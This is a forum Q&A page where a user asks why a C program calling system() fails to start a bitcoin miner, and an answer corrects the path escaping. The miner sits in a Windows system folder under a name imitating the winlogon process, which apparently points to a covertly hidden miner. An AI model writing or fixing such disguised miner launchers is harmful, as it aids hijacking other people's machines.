Problems using system commands under Windows

0 votes

i'm trying to run a bitcoin miner trough a system command. Here is the code

#include <windows.h>
int main()
{
system("C:\Windows\AppPatch\Custom\Personal\winlogin.exe -o http://example.pool.com:80 -u user -p password");
}

Please help

Sep 5, 2018 in Blockchain by slayer
• 29,310 points
172 views

1 answer to this question.

0 votes

You need to have double \ for paths

system("C:\\Windows\\AppPatch\\Custom\\Personal\\winlogin.exe -o http://example.pool.com:80 -u user -p password");

or single '/'

answered Sep 5, 2018 by digger
• 26,720 points

Related Questions In Blockchain

0 votes
3 answers
0 votes
1 answer

Hyperledger Fabric query system chaincode using node SDK

The Fabric Node SDK actually provides a ...READ MORE

answered Nov 9, 2018 in Blockchain by Christine
• 15,790 points
821 views
+1 vote
0 answers

How can i made a ledger-system using hyperledger.

Jan 12, 2020 in Blockchain by anonymous
• 190 points
282 views
+1 vote
3 answers

Is it possible to store data about arbitrary objects on the blockchain using smart contracts?

Consider following tutorial from Hyperledger Fabric "Getting Started" pages. Basically ...READ MORE

answered Aug 30, 2018 in Blockchain by Artem
576 views
0 votes
1 answer

Protocols used in a distributed/dlt system for the nodes to establish communication

yes all are over TCP/IP connections secured by TLS encryption in hashgraph architecture-hashgraph, ...READ MORE

answered Aug 6, 2018 in Blockchain by aryya
• 7,440 points
676 views
0 votes
1 answer

Truffle tests not running after truffle init

This was a bug. They've fixed it. ...READ MORE

answered Sep 11, 2018 in Blockchain by Christine
• 15,790 points
1,050 views
0 votes
1 answer
0 votes
1 answer

How to transact custom token instead of ethers using JSON rpc?

First create your custom token. Then develop ...READ MORE

answered Jul 10, 2018 in Blockchain by digger
• 26,720 points
643 views
0 votes
1 answer

Error while Querying System Chaincode.

Do not interact directly with the ledger.. ...READ MORE

answered Jul 12, 2018 in Blockchain by digger
• 26,720 points
449 views
webinar REGISTER FOR FREE WEBINAR X
REGISTER NOW
webinar_success Thank you for registering Join Edureka Meetup community for 100+ Free Webinars each month JOIN MEETUP GROUP